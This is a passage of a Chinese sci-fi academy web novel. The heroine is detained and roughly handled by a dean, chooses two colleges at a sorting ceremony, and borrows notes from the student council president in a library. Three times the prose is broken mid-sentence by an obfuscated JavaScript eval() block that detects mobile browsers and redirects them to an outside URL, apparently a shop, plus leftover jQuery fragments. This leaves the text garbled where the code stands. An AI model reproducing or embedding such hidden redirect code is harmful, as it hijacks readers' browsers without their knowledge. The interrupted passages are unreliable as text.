他与她之间近得能看见彼此眼中的倒影,嬴欢当即对着少年做了个嘲讽值拉满的鬼脸。 岑之渊不由自主地动了动手指,好想当场掐死她算了…… 黑川抓住她的身体,把她拎到了另一边,将其与岑之渊完全隔离开来。 “白泽。”黑川眼神示意。 嬴欢透过男人宽厚的臂膀,看见刚才那个遛狗的向自己点了点头,算是打了个招呼。 然后他走到岑之渊面前,小声说:“走吧,岑神──” 岑之渊被带走了。 这样一来,野外训练场只剩下一队机械士兵以及黑川、嬴欢二人。 哦对,还有一条人高马大的机械犬,嬴欢差点儿把它忘了。 空气中浮动着一种晦冥的情绪,让人濒临破烂与绝望。 嬴欢想说点儿什么,比如辩解一下损坏的摄像头或者散落一地的枪械零件……但一切还没来得及开口,一道高大的黑影骤然降临在她身上。 破风声四起,嬴欢整个人都被死死地压在草地中央。 冰冷的膝盖压住她的腰窝,她能感觉出西装裤下是质地坚硬的义肢,比正常人类骨骼要坚硬无数倍。 少女缓缓举起双手,一把同样冰冷的手铐将两只手腕牢牢铐紧。 荒草不断扎在她的脸颊上,嬴欢吐出嘴巴里的草叶,支支吾吾地“认罪”: “是我干的,都是我干的──”她的嗓音像干涸许久的河道。 “这么快就招了?不符合我对你的预期。” 嬴欢疼得吱哇乱叫,“我错了,我错了院长大人,我的腰──” 黑川继续毫不留情拽紧少女的头发,使她被迫昂起脑袋,他居高临下地看着那双狡猾的眼眸。 “阿瑞斯的伤也是你干的?” 嬴欢恨不得把头埋在地里。 “……” 这、这好像没办法辩解,毕竟有那么多目击证人呢!白泽那家伙也不见得会帮她撒谎。 没办法,那就认吧── “我不知道它是您的爱犬,是我眼拙!” 阿瑞斯听到主人的呼唤,不断向前扑腾,奈何被机械士兵手里的缰绳拦住,只好无辜地哼哼着。 冰冷的机械手将她拎了起来。 嬴欢一时分不清他和厉寻旌到底哪个更没人性一点儿。 该说不说,如果厉寻旌没进机甲院那简直是天理难容,她真希望看到这两个“怪物”互相厮杀起来的场面,那看起来得多么畅快。 “你的把戏到此结束,跟我回禁闭室。” 少女像塑料袋似的被拎了起来。 ** 一大早,黑川院长带着人风风火火地前往不夜居训练场,那气势像是要围剿反叛者似的。 各种目击者把消息传遍了整个学校,一大早就登上了校园网头条。 等黑川拎着人走出训练场的大门时,一堆提前蹲好点的围观群众顿时惊呼,还真让给他们蹲到了! “哇──这家伙犯了什么天条!竟然让院长亲自捉拿。” “我看见她把阿瑞斯抽了一顿来着。” “……” “……这是真狠人。” 少女有意无意地用手心遮挡住脸,祈祷没人认出她来。 有眼尖的人已经开始指着她大喊:“等等,就是她把幻境炸了吧?” “对对对,她昨天还袭击了白鸟院的医护人员,被请去喝茶了呢!” “这才几天就把克里斯搅得天翻地覆……小姑娘有前途,我看好你!” 完蛋,她的名声彻底臭了! 16. 禁闭室 昏暗的禁闭室内。 嬴欢被绑在老旧的审讯椅上,脸上还留着清晰的草印,质地柔软的头发颇为狼狈地挂在耳边,正盯着某处发呆。 “嬴、欢。”男人调出电子档案,随意扫了几眼,继续道:“原来是邬家收养的那个女儿。” 嬴欢被冰冷的金属手指掐起下巴,下颚骨剧烈收缩,痛得她脑袋发昏。手套越过她的头顶,探照灯在男人手中猛然旋转,直面照射她的双眼。 生理性泪水从眼眶涌出,少女愤恨的目光死死剜过他的脸庞。 “嗯,很好。请继续保持这副不屈的模样。” 禁闭室里仅有二人,压抑的气氛让人无处可逃。 她的颈被用力向上提着,青筋从肌肤下隐隐浮现出来,嬴欢不得不用尽全力大口呼吸,使空气最大程度地进入胸腔。 她的目光落在头顶,墙壁以及天花板上有大片喷溅式血迹,颜色偏向于深褐色,应该是很久前的人留下来的。 臂下的座椅扶手被打磨得发亮,甚至还有指甲留下的刮痕,嬴欢抓了几次都差点打滑。 难以想象这里曾经都发生过些什么。 金属指尖缓缓划过眼角,那是人体最脆弱的部位之一,也是最柔软无害的地方。 “说起来也要恭喜你,这里已经有五十多年没再对外开放过。你是这里最年轻的游客,希望你可以好好参观、体验。” “你的学生知道你这么变态么?”女孩儿奄奄一息地冷笑。 “也许?”他思虑了一下道。 真是不要脸。 嬴欢佩服这学校竟然能凑齐这么多牛鬼蛇神,不如让厄斯把学校卖了去买彩票吧? “你这是在侵犯我的人身自由。”嬴欢冷冷地扫过眼前这张脸。 黑川落座于少女的正对面,翘着一只腿,手掌轻轻抚摸阿瑞斯的脊背。 他坐姿无比优雅,气质超群,和落魄小乞丐嬴欢比起来,一个似天上的皎月,一个似泥土中的尘埃。 “自由?” “你使幻境崩塌、袭击白鸟院医护人员、企图谋害同学、攻击阿瑞斯、损坏监控设备、与我院学生发生非正当斗殴……”他一条条、一个个地列出了她的“罪名”。 “是你的狗先动手的!” “哦?看来其他的罪名你承认了?” “你!” 嬴欢恨不得当场把眼前的男人撕成碎片,再扔进他爱犬的狗食盆里! 狗屁的院长,地痞流氓还差不多! 束缚链从四周自动弹出,牢牢将她绑在座位上,嬴欢霎时间憋红了脸,全力集中在呼吸上。 “你的种种行为已经足够被开除一万次了,嬴欢。”男人饱含深意地与之对视。 嬴欢一声哼笑,血迹不知何时从她的额头滑落,留下几条深深浅浅的红线。 他的潜台词就是──她是个关系户。 “是啊,那您赶快让厄斯校长把我开了吧。” 黑川丝毫不受她的影响,他缓缓抬手,一只鞭子出现在掌心之间。 “爱顶嘴的孩子。” 粗壮结实的鞭身抬起她的下巴,但仅仅过了一瞬,便被白色的电光弹开。 她听见男人一声不耐烦的气音,“啧。” 干得好!谁还没个鞭子了!嬴欢眼里流露几分嘲笑,腰间的银鞭紧紧贴近她的肌肤,将束缚链撑开大约一指的缝隙,好让她能恢复正常的呼吸。 黑川摘下右手手套,皮肤泛着浅浅的红色,他摩擦着微微发烫的指尖,沉吟道:“看不出来,原来还会炸毛?” 嬴欢直勾勾盯着他暴露在灯光下的手掌,形状漂亮而标致,像一个至高无上的艺术品。 狄兰有个流传已久的坊间传闻。 在几百年前的反叛者战争期间,有专门的人在战场上为猎奇收藏家寻找完美的肢体以及器官。 他们会寻找战死不久后的尸体,挑选其中最完美的部分,剔净、洗涤,将其以特殊冰块储存,通过黑色地带运输往世界各地。 不管传闻是不是真的,他的手都很适合做成标本,摆在艺术馆里供人欣赏。 黑川的身体大约有超过百分六十的部分经过义体改造,但唯独右肢仍保留了原样,他在外人面前极少摘下手套,今天正好让嬴欢给捡到了。 “给你两秒钟,收回你那恶心的眼神。”他压低声音,听得出来是真的在胁迫她。 嬴欢这辈子好巧不巧就生了具反骨,不让她做什么她就偏要做,她故意清了清嗓音: “我看院长大人也是风韵犹存啊──” “唔──”口中被塞进一个橡胶材质的球,动作粗暴而迅速。 嬴欢的第一直觉是完了,这该不会是阿瑞斯的玩具球吧…… “乖乖待在这里,等你的好校长来救你。” 黑川轻抚少女的发丝,手掌缓缓垂落,然后毫不犹豫地带着阿瑞斯转身离去。 用钢铁浇筑的大门紧紧关闭,发出了一阵叮呤当啷的声响,盖过了周围的一切声音。 嬴欢的脑内翻涌着各种情绪,从现在开始,她的死亡名单中多添了一个名字──黑川。 她目露熊熊火光,小臂肌肉紧绷,用力一扯,沉重的锁链应声断裂。 她吐出口中的橡胶球体,半跪在地面上累累喘息。 这里没有任何监控,黑川应该也知道这一点,所以才会如此大胆。 “该死的老男人。”她的唇瓣咬得紧紧的。 ** 这几天嬴欢明显低调了许多,就连尤拉都忍不住以为她是不是被黑川刺激到而突然改性了。 其实,是也不是。 嬴欢对自己以往的高调行为痛定思过,她认为正是自己的高调才导致她招惹上了这么多魑魅魍魉。 于是她悟了,从今往后她要将自己修炼成一个人类绝缘体,扫去七情六欲,成为真正的小透明。 至于她打算从何时开始──那非分院仪式莫属。 自从幻境炸了之后,迎新典礼被迫取消,分院仪式也是一推再推。 好不容易等到正式分院这一天,嬴欢一大早就来到了户外主会场,各大学院的院旗迎风飘扬,耀眼夺目。 今年的分院规则有了些形式上的变化,增强了互动性以及趣味性。 学生们可以用拟态技术来改变选择券的外貌,而今天学院旗帜下摆了四个花篮,明显是对应着植物主题。 嬴欢捏了捏手中的拟态百合,根据规则,把自己的花放进对应的篮子中即可。 她在四个玻璃花篮中徘徊。每个花篮里都已经有不少花了,各种颜色混搭在一起,无比鲜艳。 一个花不能放进四个篮里,嬴欢的选择困难症终于在关键节点犯病了。 “学妹,来我们水仙院嘛?” “学妹学妹,来我们机甲院吧!又酷又帅的机甲呦!” 学姐学哥们都收到了来自自家院长的KPI指标,上头说今年生源不错,尽量多抓几个回去。 不一会儿工夫,嬴欢周围凑集了四大院系的人,他们端茶倒水,捶肩捏背,就差把人直接打包带走了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520074|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不是我诓你学妹,我们白鸟院的食堂可是全星际最大最好吃的!” “他们白鸟院都是一群卷王,别怪学姐没提醒你,你要是去了那儿这辈子可就和睡眠无缘了!” “你个信息院的也好意思说话?” “怎么了,谁不知道你们机甲院别称叫‘疯人院’!别在这里浑水摸鱼了行吗!” 嬴欢突然觉得后颈一凉,一个长发女子从她背后缓缓探出头来:“这位妹妹,我们犬院就缺你这种阳光活力的学生呢。” 嬴欢还没来得及回答,就被不远处的排场吸引了注意力。 “我们徵羽少爷来了!”机甲院的人举臂齐呼。 嬴欢看见那张熟悉的脸,心下一惊,连忙用长发女子的头发挡住自己。 百合花轻轻掉在了地面上。 ** 山茶色的发丝荡漾着熹微晨光,裁剪高级的机甲院制服将少年衬得尤为高贵。 秦徵羽在拿着花的新生里扫了一圈。 咦,怎么没看到人呢? 难不成赖床了?秦徵羽踮着脚尖在人群里寻找。 “你躲什么?”长发女子看着自己怀里的少女,不知所措地僵住了身子。 “我没躲啊?”她平淡道。 “那你扒着我干嘛?” 嬴欢开始睁眼说瞎话,“我没扒啊。” “……” 秦徵羽在人群里被拥簇着前行,各种谄媚的话扑面而来。 “秦小少爷,您找谁让我来帮您!” “去去去,别把我们小少爷挤坏了!” 秦徵羽被这些狗腿子烦得要死,但面上还要保持友好,抬了下眼睛道:“大家让一让,不要造成拥堵。” 大家都听话地给小少爷让路,只有一个人除外。 不,准确地来说是两个。 “喂,前面那个还不赶紧让开!”开道的两人直接上手想把她们扒拉开,没成想竟然没扒动。 “……” “柯融,快回来!”同院的同学向她疯狂招手。 秦徵羽注意到这边的动静,看向女人,眼神顿了顿。 “我知道你,你是那个特招生?” 听说家境不怎么样,纯靠实力进来的。 他对这种人挺感兴趣的,毕竟克里斯也算得上是半个贵族学院,一个贫困生在这里和笼子里的猴没什么区别。 一只猴被一群人观赏逗趣,可见她的忍耐力有多么强大。 嬴欢像个鹌鹑似的躲在柯融怀抱里,耳尖红红的,她的鼻腔里浸满了洗衣粉的清新味道。 温暖干燥的后掌轻轻安抚她的后颈,胸腔传来的心跳声格外有力。 “光天化日之下,二位这样……总归不太合适吧?”秦徵羽看两人这架势下一步是不是要亲上了? 柯融将人抱紧,神情平淡道:“她,很怕人。” 秦徵羽再心大也没有观摩别人两口子你拥我抱的癖好,无奈之下点点头,转过身去继续找自己的人。 嬴欢等待人们的目光散去,两只手紧紧抓着柯融的制服袖口不放。 她感觉到自己的后背被轻轻拍了拍,细腻的女声传进耳朵内部:“人已经走了。” 嬴欢嘟囔了句“谢谢”,然后像只蒸熟的虾子般转身就走。 那只温暖的手再次抓住她,嬴欢满脑子都是“她逃她追,她插翅难飞”的狗血画面。 “你的花掉了。” 嬴欢怔了一下,慢慢转过身。 自己的纯白百合正安然绽放在她的手心。 17. 图书馆 嬴欢最终当着柯融的面把花掰成两半,一半放进犬院,另一半放进机甲院。 “你这是──” 柯融明显没看懂她的意思,鎏金色的眼瞳里充满了疑惑。 “我打算同时攻读不同院系的两个专业。”她那语气简直像是在说今天吃什么一样自然。 周围同样在投票的同学们瞪大了眼睛。 一个精壮的肌肉男露出看傻子的眼神,嘲讽道:“呦……你是什么神人?自己有那本事吗?” 柯融瞪了眼那个无关的男人,手指稳稳扶住少女的肩膀,认真地说:“你确定想好了吗?这通常需要提前向校方申报,流程也很麻烦。” “是吗?” 嬴欢立马坐在草坪上开始给厄斯发邮件,没过几分钟,邮件箱的右上角多了个小红点。 她把回件给柯融看。 繁杂的公文和严谨的修辞洋洋洒洒,然而大致的意思就是两个字: 随你。 没人敢乱吱声了,他们要么抬头望天要么低头看鞋,心中都隐隐明白这是个不好惹的女子。 “欢迎你,学妹!”在旁边蹲着许久的犬院学生们纷纷上来恭喜,连笑容都阳光了几分。 而另一波来自机甲院的人全都僵在原地,被气得个个成了熟透的毛桃。 不是,她──她怎么能这么不专一呢!他们不能容许一个“脚踏两条船”的“渣女”进入他们机甲院的大门! 这简直是机甲院的耻辱! 旁边一个白鸟学姐不禁望向人群里被团团围住的少女,轻声喟叹:“唉,可怜的小孩儿。” 谁不知道机甲院的人一个个都傲气得很,看他们那副应激的反应,注定不会让她在机甲院里好过。 秦徵羽从周边找了一大圈回来,愕然发现这家伙竟然就在原点。 “嬴,欢!” 小正太气势汹汹地拨开人群,来到她的面前,“你知不知道我找了你多久?” 他在她和柯融之间来回扫视了一圈,“你们……” “额,她刚才是不是抱着一个人?”一个记性好的小跟班向身边的人问道。 “好像确实是。” “小少爷要找的人和这穷小妞认识?” “等等,这女的怎么这么眼熟……” 话题逐渐跑偏。 “你找她究竟有什么事?”柯融把少女拦在身后,直面秦徵羽道。 “和你有什么关系?”小少爷眉头一皱,语气像根刚点燃的炮仗。 柯融将自己橘红的波浪卷向后一撩,“当然有关系,她现在是我的直系学妹。” 呵,直系…… 秦徵羽忽然静止住了般,几个大步冲上前去,强行扒开了嬴欢的手掌心。 “你的花呢?!”眼镜下的目光像要喷出火焰。 覆盖一层薄茧的手心空荡荡的,急得小正太在她身上来回寻找。 没有,哪儿都没有—— “在花篮里。”柯融好心给他指路。 秦徵羽顺着声音看去,两瓣百合花瓣安静地躺在机甲院的透明花篮里,而另两半则躺在隔壁犬院的花篮里。 嬴欢看着他别扭而不自知的模样,有些烦躁地扯了扯手心,“你可以放开了么?” 小正太瞬间把手扔开,洁白的鼻尖都忍不住皱了皱,“花心萝卜……” 他声音极小,大概只有足够靠近的嬴欢才能听得清楚。 可恶。又是当小透明失败的一天。 ** 因为选择同时学习两个专业,嬴欢的课程表多了一倍不止,还好线上线下互不干扰,嬴欢可以同时听两门不同专业的课程。 老伍兹听说本届最难搞的学生连选两个学院,其中一个还是他们犬院的时候,直接大手一挥,免去了嬴欢线下课程时长的硬性标准。 也就是说,嬴欢不用每学期达到学校要求的线下听课时长,只要正常完成考核就可以。 【您的快递已送达,请及时领取。】终端助手弹了出来。 嬴欢一边瞄着课程直播一边向大门走去。 打开门,一个快递箱子摆在门前的地毯上,箱子大概有两个室内垃圾桶那么大,包装完好。 她看了眼寄件人,是克里斯教导处,应该是她的专业书到了,简单试了试重量,简直是出乎意料的沉。 嬴欢站在床边,几十本专业书将她的床摆得满满的,这得学到什么时候去? 与“知识”们对视了大概两分钟,她的小脑瓜突然灵机一动,想出个绝妙的点子。 与其闷头一章章苦读,不如找个现成的笔记总结,在笔记的基础上迅速过一遍课本,提升效率的同时还能精准记忆知识点。 想法是有了,但是去找谁的好呢? 她在脑海里搜罗着来自高年级的人名,柯融、秦徵羽……没了? 说起来嬴欢确实也不怎么了解那个橘发女郎,只知道她去年获得了犬院的奖学金,学习成绩应当是年级前列。 可是她没有人家的联系方式啊? 据说犬院的人平常冲浪极少,抓一百个使用校园网的人说不定都见不到一个来自犬院的。 嬴欢犹豫了一会儿,那另一个人选呢? 那家伙看起来确实很像一副天生学霸的模样,小小的个子大大的眼镜,说话很利落,脑瓜子应该挺好用的。 她立马找上秦尔槐。 【001本人】:“你是不是有个弟弟叫秦徵羽?” 对方很快回复。 【医疗部秦尔槐】:怎么了?他闯什么祸了? 【001本人】:没有没有,他入学几年了? 【医疗部秦尔槐】:应该是第三年吧?嗯,应该是吧…… 【001本人】:可以给我他的联系方式吗! 【医疗部秦尔槐】:[对方向你推荐了“没事别联系”] 【医疗部秦尔槐】:对了,你的大号实在太招摇了,先创建个小号吧。 秦尔槐不说她还没注意到,自己用的是很久没登陆过的大号,这个号有不少关注者,包括动态、ip属地、战绩等别人都能看到,用起来很不方便。 嬴欢开始着手创建三无小号。 起什么名字呢?嬴欢在输入框里几番犹豫,最后输入──尤拉之主。 简言意骇。 点击好友申请,嬴欢在申请内容框这一步停了下来。 毕竟是有求于人,还是好好想想措辞比较好。 “我是嬴欢,麻烦加我一下,谢谢。”嬴欢快速打完字,认真确保这是她最温和的语气后,点击发送。 对方秒拒。 嬴欢一顿,满脸问号,不甘心地又申请了一次。 依旧秒拒。 嬴欢回想了下自己哪里得罪了他,他们总共也就见过两面,是迎新日还是分院仪式呢? 她摇摇头实在懒得想了,反正不就是被呛了几句吗,小男人家家的怎么心眼儿这么小。 “得,不奉陪了──心眼比针都细的家伙[鬼脸][鬼脸][鬼脸]”她通过申请框隔空嘲讽。 刚发出去也就几秒,提示音响起。 【您的好友申请已通过,快来和他聊天吧~】上方出现一个弹窗。 “……”神经病吧?这人是不是有什么受虐倾向? 嬴欢仅有的那点儿耐心也消磨没了,也懒得管什么语气、措辞之类的,上来直接说明来意。 【尤拉之主】:笔记有吗? 对方正在输入中。 【没事别联系】:找我就为了这个? 【尤拉之主】:你到底有还是没有。 【没事别联系】:当然没有。真的有人上课还需要记笔记吗,难道不是直接记进脑子里? 【没事别联系】:我说你这家伙非要选什么犬院干嘛?整个克里斯谁不知道他们犬院课程最枯燥乏味了…… 嬴欢只看了前两个字,后面权当放屁。 【没事别联系】:你的号怎么这么新,刚注册一天? 【没事别联系】:喂,你不会是用小号加的我吧?! 【没事别联系】:求人哪有你这种态度的啊!!! 嬴欢找到个人页面“消息免打扰”的功能,点击“开启”。 计划彻底失败。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556208|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 嬴欢把移动终端随手一抛,望着床上铺满的书籍,欲哭无泪。 尤拉刚睡醒就看见少女一副快要死了的样子,不禁大喊:【发生什么啦?你床怎么成书柜了?】 嬴欢瘫倒在地毯上,望着天花板的铃兰吊灯,双目无神道:“是知识压垮了我。” 哦,原来如此。 尤拉还依稀记得她当初备考「白梦长廊」笔试的时候也是这般模样,每天都只会重复大喊一句话:“知识不进我的脑子!” 看来无论是失忆前还是失忆后,她的脑子都还是始终如一啊! 尤拉以小煤球的姿态躺在嬴欢的身上,主要是这种形态比较节省能量。 【你可以找个AI助手帮你总结呀。】 嬴欢忽然睁开眼睛,双手猛地一抱:“比如──你?” 【不不不,不行!分析这种晦涩的东西很消耗算力的!我就是个小小系统罢了!你怎么能把人家当成苦力呢呜呜呜──】 尤拉两眼一闭就开始胡说八道,主要是它真的不想浪费自己的睡眠时间啊拜托! 它连忙开始找别的方法,生怕嬴欢盯上自己:【我、我知道了!你可以去校园网上有偿购买一份笔记啊!】 嬴欢抿着嘴唇,再次缓缓闭上眼睛,躺得安详无比。 尤拉见状,直接钻进她的储蓄宝,顿时两眼一瞪。 竟、竟然只剩下个位数了! 别说笔记了,她现在连个馒头都买不起,唯一的资产全在饭卡里了。 尤拉浑身无力地倒在嬴欢的身边,小小的身子面朝上方,与她一同望着天花板。 【咱们从来没有这么窝囊过。】它不禁开始回忆往昔,眼角多了几朵晶莹的泪花。 “以后会慢慢习惯的。”嬴欢毫无生气地拍了拍它的肚子。 【其实我们还有一条路。】 “什么?” 【找人借。】 嬴欢翻了个白眼,以为她没努力过? 事实证明,哪怕努力也不一定就会有成效,只会在列表里多一个一文不值的通讯好友。 【这人首先得是高年级的,学习优秀,乐于助人。】 “所以你想到谁了?” 【所以──我们应该去找──厄──斯!】尤拉很有气势地跳了两米高。 嬴欢再次翻了个大大的白眼,她不如去找黑川、老伍兹、梅瑟了呢,反正都是高高在上的人物不是吗? 还厄斯,她不把自己轰出校长室就不错了。 等等,她刚才是不是掠过了什么东西? 嬴欢微微地眯了眯眼睛,眼前的灯光变成一团忽大忽小的光晕── 黑川、老伍兹、梅瑟……梅瑟·雪莱! 对啊,她可以找会长大人借!想到这里,嬴欢心头的郁结顿时消散如烟。 一个鱼跃起身,嬴欢打开搜索引擎,从克里斯官网找到学生会会长的工作邮箱。 她花费五分钟撰写一篇语气恳切、感染人心的信函,发送至梅瑟会长的工作邮箱,大致意思就是求借笔记之类的,希望他能雪中送炭一下。 无聊的等待下,对方竟然很快就回复了,邮件内容虽然很简短但正正好好是嬴欢内心想要的答案。 “正好现在有空闲时间,我们在哪儿见面?” 嬴欢心中大喜,谁说没人记笔记了!这下子可不就狠狠打秦徵羽的脸了吗!她心情颇好地打开地图,搜索周边。 第一次约人,图书馆应该可以吧?嬴欢挠了挠鬓发,把不夜居附近的图书馆地址发了过去。 “好,我会十五分钟内到达。” 这么有时间观念的人? 嬴欢心头莫名多了几分压力,立马开始翻找衣柜。 【呦──几分钟不见当刮目相看啊,竟然勾搭上会长大人了?】 尤拉从她的小腿一直往上爬,直到落座于她的肩上,傲娇的小脸蛋皱皱的。 【我的评价是不如厄斯。】它还在继续嘴硬道。 嬴欢从衣服堆中移了移目光,对小煤球露出一道难以理解的表情,嗓音淡如水:“不好意思,无人在意你的评价──” 18. 图书馆(二) 克里斯图书馆─A馆。 某人的时间观念堪比一坨毛线球,在尤拉的语音导航下,堪堪踩点抵达。 【哇——】 “哇……” 一人一统都被眼前这座庞然大物惊得说不出话来,它实在是太太太大了。 眼前这座图书馆派头十足,人流于其中涌动,有种说不上来庄重感。 乳白色的石柱共二十一根,一楼的墙表有四个体型较大的半圆形花窗,颜色明朗而诡谲,二楼则是一整排青松色的小型玻璃窗。 想要进入建筑物内还需要走过一段长长的白石阶梯,嬴欢认真比量了一下这段距离,颇为无奈地扶了下额头,没别的办法,只能硬着头皮往上爬。 阶梯的两侧伏着两只沙漠狮的雕塑,经历了百年的风吹雨打依旧能够焕然如新。 尤拉不小心与它们对视了一眼,顿时吓得汗毛直立,都不敢四处张望了。 爬完阶梯,通过拱形门以及门内的安检扫描仪,才算是真正进入了图书馆内。 刚一进门,嬴欢便被墙面上的那些小天使们吸引住了。 姿态舒展的天使们随处可见,它们或悲悯、或纯真,周围环绕着茛苕纹、螺旋纹之类的装饰花纹,仿佛被其框进了墙壁之中,成为了整个图书馆不可分割的一部分。 有不少学生来到这里拍照打卡,动作安静而有序,但他们眼中流露出的惊叹却是出奇的一致。 来到人群聚集的中间,她略微抬眸。 拱顶绘制了一副众神巡游的欢快场面,画风细腻、构图宏大,色彩偏向于明亮的色调。 哪怕没什么艺术细胞的人看到这一幕也会屏住呼吸。 而尤拉更是激动得两眼直发光,在嬴欢的脑海里放声大喊:【原来这就是顶级大师的手笔吗!哇——真是百闻不如一见啊!】 嬴欢一阵耳鸣,忍不住扶了扶后脑勺。 “这副《白日女神》是画家安德鲁花费了三年的时间绘制而成,距今已有四百多年的历史,他笔下的天使、神祗等至今被认为是真正的神迹——”一道清越的声音在耳旁响起。 嬴欢敛下眼眸,望向那道身影。 “好久不见,雪莱会长。” 梅瑟今天这身制服和图书馆很搭,尤其配上柔和的气场,像极了几个世纪前的贵族公子。 相比之下,少女的格纹上衣和牛仔长裤就显得再寒酸不过了。 尤拉眼里生出几分仰慕来,说出的话藏着几分兴奋:【不愧是学生会的头子,脑子里还真有点儿东西!】 “嘘,别吵——”她得认真应付眼前这位人物。 “三层是VIP室,能看到不错的风景,跟我来吧。”青年转身踏上螺旋阶梯,待人处事依旧如第一次见面时那样不冷不淡。 他的背影笔挺而秀丽,尾发略长,不仅看上去很蓬松,还有些轻微的向上的弧度。 嬴欢一听“VIP”这几个字母犹豫了一会儿,最后还是迈着大步跟了上去。 轻轻踏上雕花阶梯,扶手是光滑的橡木材质,再往上面走,几乎都是静音地毯覆盖的区域。 二层有许多厚重古旧的书架,书架表面有菱形网保护层,看上去无比规整。 四面有小型露台,放置书桌、座椅甚至还有小型花坛,很多学生在此埋头苦读,只听得到窗外树叶阵阵翻响,以及那网课里细碎的讲读声。 阶梯的廊角处挂着几幅艺术作品,同样年久到可以直接送进博物馆的程度,而且应该经常有专人清理,画框与镜面几乎一尘不染。 嬴欢从未了解过克里斯的建校史,在这里的每一天都能不断刷新自己的认知上限。 【我查了下,你面前这副自画像在某次国际拍卖会上以1100万的价格成交。】尤拉默默补充道。 嬴欢差点儿被楼梯绊了个跟头。 三层的采光相比二层要柔和许多,公共区域占地较小,多是独立的私人会议室,用来进行一些课题研究、小组作业等。 青年轻推门把手,示意身后的少女先行进入。 拉开百叶帘,透过宽阔的玻璃窗,可以清晰地望见远处的黑色钟楼,嬴欢放松地眺望了一会儿,突然想起来自己是来做正事的。 “你想要的东西。”手指将厚厚的装订本推向嬴欢。 嬴欢大致翻了几页,眸中的惊艳程度堪比见了神明下凡,她承认自己对梅瑟有一定的警惕心,但对于他的优秀无法否认。 笔迹工整,要点明晰——简直就是至高无上的艺术品! “听说你选择了两个学院。” “怎么了?”嬴欢连头也没抬,翻页翻得飞快。 “没什么,只是Dr.X很生气你没有选择他。” 嬴欢掀了掀眼皮,Dr.X?谁来着? 【水仙院的院长,梅瑟是他的学生。】尤拉提醒道。 “想选就选了。”少女的回答很敷衍。 由于梅瑟和自己是不同的院系,只有部分通识课重合,专业书还是要她自己解决。 别的不说,她确实有点儿后悔选老伍兹了,为什么犬院的专业书要比其它院系的厚几倍啊! 【插一句,白鸟院的书其实也挺厚的。】尤拉反驳。 嬴欢今天还不错,懒得去和尤拉吵嘴。她将笔记小心地合上:“你的笔记帮了大忙,谢谢。” 青年手里拿着一本装裱精致的书籍,书侧的名字是《蕉风》,他从书页中抬起眼眸。 他读书时习惯戴上眼镜,银色边框在鼻尖落下一道投影,独添了几分安静。 他摇了摇头,声音很浅:“不用谢。” 说罢,眸子继续低垂着。 嬴欢捏了捏笔记的封面页角,总觉得这人似乎有哪里变得不一样了。 人前的他温和有礼、眉眼总是带着笑意,无论面对什么情况都能游刃有余地解决。可是私下的他却要安静得多,甚至可以说得上是“冷漠”。 她回想起那天走廊里的对峙,邬家兄妹似乎对他意见很大,大到不惜在众人面前大吵一架。 到底他的哪一面才是可触碰的? 嬴欢这下子是真的有些好奇他们之间到底发生过什么了。或许有时间可以去问问邬涟,在这方面他一定会知无不言。 嬴欢的目光随意落在了他从书架拿来的几本书上,是几本比较大众的严肃文学,其中还夹杂着一本《异族简史》。 她引出一个新话题: “你从小就很喜欢看书吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573891|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不算喜欢,只是选择了一个最具性价比的休闲方式罢了。”书页翻过。 “哦。”嬴欢眼珠慢慢地动了动,话锋一转,“那——你为什么帮我?” 梅瑟直直看着她,露出一丝近乎于讽刺的笑容:“不打算继续铺垫了?” 嬴欢摇头,回答说:“效率太慢,我觉得直接向你询问答案更具性价比。” 他再次翻过一张书页,也给出了自己的回答:“想帮就帮了。” “你不能抄袭我的答案。” 梅瑟的指尖轻轻摩挲着书页,嘴唇微启:“那你想要什么答案?” “发自内心的,彼此坦诚一些不好吗?”手指敲击着装订本的软皮封面,嬴欢冷冷注视着他的脸颊。 坦诚?可真是个有意思的词语。 青年淡淡一笑,浅粉的唇瓣微微张合:“因为你是‘你’,这个答案如何?” 少女没有任何表情,两双视线强烈地相撞着,谁也不肯率先示弱。 嬴欢的内心隐含着无名的愤怒,她站起身,以居高临下的姿态死死凝视着他的眼睛。 “你的回答真是无聊透顶。”她答道。 话音落下,嬴欢转身推开会议室的门,风风火火地往楼梯口走去。 下楼途中,嬴欢与一个男生擦肩而过,一股浓郁的香水味闯入鼻腔,她下意识摸了摸自己的鼻尖,连带着步伐都快了一些。 “咔哒”一声,一个书签从笔记中掉落,少女毫无察觉。 男生微微一顿,弯下腰捡起那张黄铜材质的小海星书签。 他认得它,这是梅瑟最喜欢的书签。 男生攥紧手里的书签,注视少女远去的背影,她手中的正是梅瑟的私人装订本。 倏忽间,一道声音在头顶不远处响起。 “这位同学,你手中的东西是属于我的。” 男生心尖一颤,怔然回过头去。 